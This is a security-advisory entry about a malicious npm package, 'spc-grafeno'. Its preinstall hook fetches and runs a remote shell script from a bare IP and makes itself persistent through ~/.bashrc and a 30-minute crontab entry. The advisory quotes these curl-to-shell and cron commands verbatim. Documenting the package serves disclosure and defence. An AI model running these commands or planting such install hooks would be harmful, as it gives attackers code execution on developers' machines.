VDB
GCVE-110-OSM-2026-11278
GCVE-110-OSM-2026-11278
Advisory PublishedCVSS 9.6/10
The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.
ENTRY
index.js (main: index.js)
- Preinstall Script in package.json: ""preinstall": "node -e \""
PERSISTENCE
- Cron Job Persistence in package.json: "crontab -"
- Startup Persistence in package.json: ".bashrc"
DESTINATION
- 2 exfil (custom-c2)
(values recorded in verified_iocs)
EXFIL
- Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh"
- System Information Collection in package.json: "os.homedir()"
ADDITIONAL FINDINGS
- Shell Command Execution in package.json: "require('child_process')"
- Brand New Package
- Very New NPM Publisher Account
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | spc-grafeno | all (affected) | — |
Aliases
Browse GCVE Records
831 records in the GCVE database · Updated September 3, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.